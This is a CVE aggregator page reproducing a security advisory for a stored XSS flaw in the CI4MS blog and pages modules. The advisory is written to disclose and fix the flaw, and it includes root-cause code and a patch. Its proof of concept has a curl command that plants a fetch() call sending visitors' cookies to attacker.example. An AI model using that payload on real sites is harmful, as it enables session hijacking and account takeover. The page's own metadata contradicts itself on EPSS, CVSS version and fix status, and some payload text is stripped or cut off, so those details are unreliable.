CVE-2026-45138

MEDIUMPre-NVD 5.45.4
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 5.4 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 91% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
5.4
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: 0%CVSS: 5.4Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

CI4MS: Stored XSS in Blog Content via Broken html_purify Validation Rule

Summary

The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.

Details

Root cause: by-reference mutation never propagates

Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:

// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    if (empty(trim((string)$str))) return true;
    if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
    $clean = self::sanitizeHtml($str);
    $str   = $clean;                                  // <-- mutates only the local $value in CI4's validator
    self::$cleanCache[md5((string)$str)] = $clean;    // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
    return true;
}

CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:

// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) {                       // local $value
    $this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}

// Validation.php:343-345 $passed = ($param === null) ? $set->{$rule}($value, $error) // <-- $value is the local var : $set->{$rule}($value, $param, $data, $error, $field);

The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).

Sink: raw POST is persisted and rendered unescaped

The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:

// modules/Blog/Controllers/Blog.php:94-125  (Blog::new)
$langsPost = $this->request->getPost('lang');                            // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...;           // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
    $this->commonModel->create('blog_langs', [
        'blog_id' => $insertID,
        'lang'    => $lanCode,
        'title'   => trim(strip_tags($lanData['title'])),
        'seflink' => trim(strip_tags($lanData['seflink'])),
        'content' => $lanData['content'],                                  // <-- raw HTML stored
        ...
    ]);
}

The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.

The public blog post template echoes the field with no escaping:

// app/Views/templates/default/blog/post.php:51

<?php echo $infos->content ?>

The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.

Trust boundary

Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/ is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.

Same defect in the Pages module

A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.

PoC

Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.

  • Submit a blog post with an XSS payload as the content body:

curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-xss' \
  -d "lang[en][content]=fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))" \
  -d 'isActive=1' \
  -d 'categories[]=1' \
  -d 'author=1' \
  -d 'created_at=01.01.2026 10:00:00' \
  -d 'csrf_token_name='
  • The validator returns success (html_purify reports true), and the row is written to blog_langs with content = ... verbatim.
  • Visit the public post URL https://target/blog/poc-xss. The injected ` runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.

Independent root-cause verification (run against the local app):

$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: alert("STORED-XSS-PROOF-"+document.domain)

That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified ..., confirming the by-reference sanitization is dropped.

Impact

  • Stored XSS reachable by any account with blogs.create or blogs.update (delegated content-editor permission), executed in the browser of:
  • every anonymous public visitor that loads the affected blog post,
  • the superadmin and other backend reviewers when they open or preview the post.
  • Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
  • Because the same broken html_purify rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through Pages::create / Pages::update via the same primitive — i.e., this is a project-wide regression of an already-published advisory.
  • The getClean() cache fallback intended as a backstop is also non-functional (key mismatch between md5(clean) writer and md5(original) reader).

Recommended Fix

  • Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize *at the sink* in every controller that accepts WYSIWYG HTML, or (b) sanitize after validate() and before persisting.

Minimal, immediate fix in the Blog controller — apply to both new and edit:

// modules/Blog/Controllers/Blog.php  (Blog::new, ~line 123 and Blog::edit, ~line 201)
   use Modules\Backend\Validation\CustomRules;
   ...
   $this->commonModel->create('blog_langs', [
       'blog_id' => $insertID,
       'lang'    => $lanCode,
       'title'   => trim(strip_tags($lanData['title'])),
       'seflink' => trim(strip_tags($lanData['seflink'])),
       'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),
       'seo'     => !empty($seoData) ? $seoData : '',
   ]);

Apply the identical change to modules/Pages/Controllers/Pages.php (the previous Pages Stored XSS fix relied on html_purify and is therefore still vulnerable).

  • Fix the cache key bug so getClean()` actually works as a defense-in-depth backstop:

CVSS v3
5.4
EG Score
5.4(low)
EPSS
8.9%
KEV
Not listed

Published

May 18, 2026

Last Modified

May 18, 2026

Vendor Advisories for CVE-2026-45138(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFixed inDependents
ci4-cms-erp/ci4ms0.21.0 ... 0.31.9 (57 versions)0.31.9.0

Data Freshness Timeline

(refreshed 0× in last 7d / 13× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-06-29 21:10 UTCEG score recompute
  2. 2026-06-27 21:23 UTCEG score recompute
  3. 2026-06-26 19:57 UTCEG score recompute
  4. 2026-06-25 17:46 UTCEG score recompute
  5. 2026-06-17 20:26 UTCEG score recompute
  6. 2026-06-16 21:50 UTCEG score recompute
  7. 2026-06-15 23:12 UTCEG score recompute
  8. 2026-06-14 23:18 UTCEPSS rescore
  9. 2026-06-14 13:31 UTCEG score recompute
  10. 2026-06-13 23:00 UTCEPSS rescore
  11. 2026-06-13 14:54 UTCEG score recompute
  12. 2026-06-12 23:12 UTCEPSS rescore
  13. 2026-06-12 16:05 UTCEG score recompute
  14. 2026-06-11 16:48 UTCEG score recompute
  15. 2026-06-10 16:51 UTCEG score recompute
  16. 2026-06-09 18:15 UTCEG score recompute
  17. 2026-06-08 19:38 UTCEG score recompute
  18. 2026-06-07 19:52 UTCEG score recompute
  19. 2026-06-06 21:15 UTCEG score recompute
  20. 2026-06-05 22:38 UTCEG score recompute
  21. 2026-06-05 00:01 UTCEG score recompute
  22. 2026-06-04 01:08 UTCEG score recompute
  23. 2026-06-03 02:30 UTCEG score recompute
  24. 2026-06-02 03:53 UTCEG score recompute
  25. 2026-06-01 05:16 UTCEG score recompute
Show 1 more
  1. 2026-05-24 06:17 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-45138?
CVE-2026-45138 is a medium vulnerability published on May 18, 2026. CI4MS: Stored XSS in Blog Content via Broken html_purify Validation Rule Summary The custom htmlpurify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently…
When was CVE-2026-45138 disclosed?
CVE-2026-45138 was first published in the National Vulnerability Database on May 18, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-45138 actively exploited?
CVE-2026-45138 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 8.9% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-45138?
CVE-2026-45138 has a CVSS v4.0 base score of 5.4 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-45138?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-45138, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-45138

Explore →

Is Your Infrastructure Affected by CVE-2026-45138?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.